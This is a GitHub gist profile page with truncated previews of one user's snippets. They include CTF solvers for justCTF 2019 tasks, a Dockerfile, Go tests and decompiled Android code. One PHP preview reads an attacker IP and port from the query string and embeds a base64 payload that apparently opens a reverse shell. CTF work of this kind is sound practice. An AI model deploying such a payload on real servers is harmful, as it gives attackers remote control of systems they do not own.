Skip to content

Instantly share code, notes, and snippets.

View patryk4815's full-sized avatar

patryk4815

View GitHub Profile
@patryk4815
patryk4815 / cache_review.go
Created December 22, 2019 09:25
It is solver for task Cache Review at justCTF 2019
package main
import (
"crypto/rand"
"crypto/sha1"
"encoding/base64"
"errors"
"flag"
"fmt"
"io"
header('Content-type: text/plain');
$ip = $_GET["ip"]; //change this
$port = $_GET["port"]; //change this
$payload = "7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQGKMjXUoxZGWentbq1gpCChGgggVFWcoIFhpL7wwVb2ABT33oN6uDm+tt9b966233l7Z39779/32zvedZJ3z7RO1yQjgAAAAUUUQALgAvBEO8D+LBlWqcx0VqLK+4XIBw7vhEr9VooKylIoMpVAGpQnlcgUMpYohpVoOSeRQSHQcJFOIxB42NiT22xoxoQDAw+CAH1KaY/9dtw+g4cgYrAMAoQEd1ZPopwG1lai2v13dDI59s27M2/W/TX4zhwru9Qi9jem/4fTfbwKt54cB/mPZagIA5n+QlxCT5PnaOfm7BWH/cn37UJ7Xv7fxev+z/srjvOF5/7a59rccu7/wTD4enitmvtzFxhprXWZ0rHvn3Z0jVw8CQCEVZbgBwCIACBhqQ5A47ZBfeQSHAxSZYNa1EDYRIIDY6p7xKZBNRdrZFDKdsWhgWF7TTaW3gQTrZJAUYHCfCBjvctfh6OWAJ2clIOCA+My6kdq5XGeKqxuRW9f10cvkcqZAGaR32rvd+nNwlW5jf6ZCH0zX+c8X2V52wbV4xoBS/a2R+nP2XDqFfFHbPzabyoKHbB406JcRj/qVH/afPHd5GLfBPH+njrX2ngFeBChqqmU0N72r53JM4H57U07gevzjnkADXhlVj5kNEHeokIzlhdpJDK3wuc0tWtFJwiNpzWUvk7bJbXOjmyE7+CAcGXj4Vq/iFd4x8IC613I+0IoWFOh0qxjnLUgAYYnLcL3N+W/tCi8ggKXCq2vwNK6+8ilmiaHKSPZXdKrq1+0tVHkyV/tH1O2/FHtxVgHmccSpoZa5ZCO9O3V3P6aoKyn/n69K535eDrNc9UQfmDw6
<?php echo "dupa"; ?>
[
{
"id": "id1",
"short": "TESL1",
"name": "TESLA1 s.a.",
"logo": "http://pngimg.com/uploads/tesla_logo/tesla_logo_PNG19.png"
},
{
"id": "id2",
"short": "TESL2",
FROM ubuntu:18.04
RUN apt-get -y update && apt-get install -y \
autoconf \
bison \
flex \
gcc \
g++ \
git \
libprotobuf-dev \
/* Code generated by cmd/cgo; DO NOT EDIT. */
/* package command-line-arguments */
#line 1 "cgo-builtin-export-prolog"
#include <stddef.h> /* for ptrdiff_t below */
#ifndef GO_CGO_EXPORT_PROLOGUE_H
package x2
import (
"fmt"
"sync"
"testing"
)
type simpleDeadlock struct {
package p034b.p035a.p036a.p039b.p040a;
import android.content.Intent;
import android.net.Uri;
import android.os.Handler;
import android.os.Looper;
import android.os.RemoteException;
import android.provider.CalendarContract.Events;
import android.util.Log;
import android.webkit.WebResourceRequest;
import requests
import time
######################################
#### Leaked old video how plugin works
#### https://youtu.be/r_nzF7LJpNM
######################################
task_addr = 'http://painterhell.web.jctf.pro:1337'
package main
func goRecover(f func(), recovered chan<- error) {
go func() {
done := false // just to handle panic(nil) https://github.com/golang/go/issues/25448
defer func() {
if !done {
var errOut error
errAny := recover()
if err, ok := errAny.(error); ok {